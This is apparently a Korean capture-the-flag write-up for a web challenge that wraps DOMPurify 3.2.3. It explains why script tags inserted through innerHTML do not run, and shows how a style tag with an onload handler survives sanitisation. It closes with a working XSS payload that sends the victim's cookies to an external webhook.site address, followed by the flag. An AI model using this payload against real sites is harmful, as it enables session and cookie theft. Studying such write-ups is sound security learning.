🌱

If nothing is removed, then it is surely safe.

Hint: wait, why <script>1337</script> works???

App: https://mint-chall.fmc.tf/

Admin bot: https://mint-bot.fmc.tf/
Plain Text
복사

# 분석

# File

chall.html

해당 html 파일을 하나 준다.

DOMPurify를 먼저보면 아래의 링크에서 소스코드를 볼 수 있다.

DOMPurify

cure53

일단 뭔 library인지 확인하면 아래와 같다고 말해준다.

DOMPurify는 HTML을 정화하고 XSS 공격을 방지하는 역할을 합니다. DOMPurify에 위험 요소가 가득한 “더러운” HTML 문자열을 넘기면, 특별한 설정이 없는 한 안전하게 정제된 HTML 문자열을 돌려줍니다. DOMPurify는 위험한 HTML이 포함된 모든 요소를 제거해 XSS 공격을 비롯한 여러 유해 요소를 막아냅니다. 또한 처리 속도도 매우 빠릅니다. 브라우저가 제공하는 기술을 활용하여 이를 XSS 필터로 만들어 쓰며, 브라우저가 빠를수록 DOMPurify 역시 더 빨리 동작합니다.

일단 소스 코드를 먼저 다운로드 받아서 분석을 약간 진행하기 위해서 아래의 사이트에서 동일한 버전의 DOMPurify를 다운받아준다.

GitHub - cure53/DOMPurify at 3.2.3

DOMPurify - a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMPurify works with a secure default, but offers a lot of configurability and hooks. Demo: - GitHub - cure...

https://github.com/cure53/DOMPurify/tree/3.2.3

소스 코드의 동작을 대략적으로 이해한 뒤 다시 문제에서 원하는 요구 사항을 정리하면 아래와 같다.

p로 들어온 GET Parameter를 가져와서 끝에 “”을 붙여준다.

DOMPurify.sanitize 함수 실행

DOMPurify.removed.length 즉 removed가 된 것이 없으면 xss.innerHTML에 p를 넣는다.

innerHTML Bypass

innerHTML의 경우 거기에 포함되어 있는 <script></script>는 실행되지 않는다고 아래의 HTML Standard에서 정의되어있다.

HTML Standard

Authors are encouraged to use declarative alternatives to scripting where possible, as declarative mechanisms are often more maintainable, and many users disable scripting.

https://html.spec.whatwg.org/multipage/scripting.html#:~:text=inserted%20using%20the-,innerHTML,-and%20outerHTML%20attributes

When inserted using the document.write() method, script elements usually execute (typically blocking further script execution or HTML parsing). When inserted using the innerHTML and outerHTML attributes, they do not execute at all.

이를 우회하기 위해서는 <img> 태그와 동일하게 src 속성을 이용해서 외부로 부터 데이터를 요청하는 태그를 이용하는 것들을 찾아서 onerror, onload와 같은 속성을 이용하여 Bypass가 가능하다.

DOMPurify.sanitize Bypass

<script>
	let p = ((new URLSearchParams(location.search)).get('p') ?? '')+`🌱` 
	DOMPurify.sanitize(p)
	if(!DOMPurify.removed.length) xss.innerHTML = p
</script>
HTML
복사

코드의 핵심을 보면 xss.innerHTML에 넣어주는 것은 우리가 입력한 p 값을 넣어준다.

다시말해 DOMPurify.sanitize(p)를 진행해도 DOMPurify.removed.length이 되는 Tag를 찾고 해당 Tag에 onload attribute만 지원하는지 확인해서 해당 Tag를 이용해서 공격을 진행하면 된다.

DOMPurify.removed.length Bypass

DOMPurify 소스 코드를 분석하면 대략적으로 DOMPurify에서 removed되지 않는 태그를 알아낼 수 있다.

대표적으로 <script>, <style> 태그가 존재한다.

•

<script>

script 태그의 경우 onload와 같은 속성을 지원하지 않는다.

•

<style>

onload 속성을 지원한다.

# Payload

https://mint-chall.fmc.tf/?p=<style%20onload='location.href=`https://webhook.site/455194c0-8a95-453f-9240-a8498b46151c%3Fq%3D`%2Bbtoa(document.cookie)'></style>
HTML
복사

# Flag

FMCTF{a266b251865bb2627f945165a12598aa}
Plain Text
복사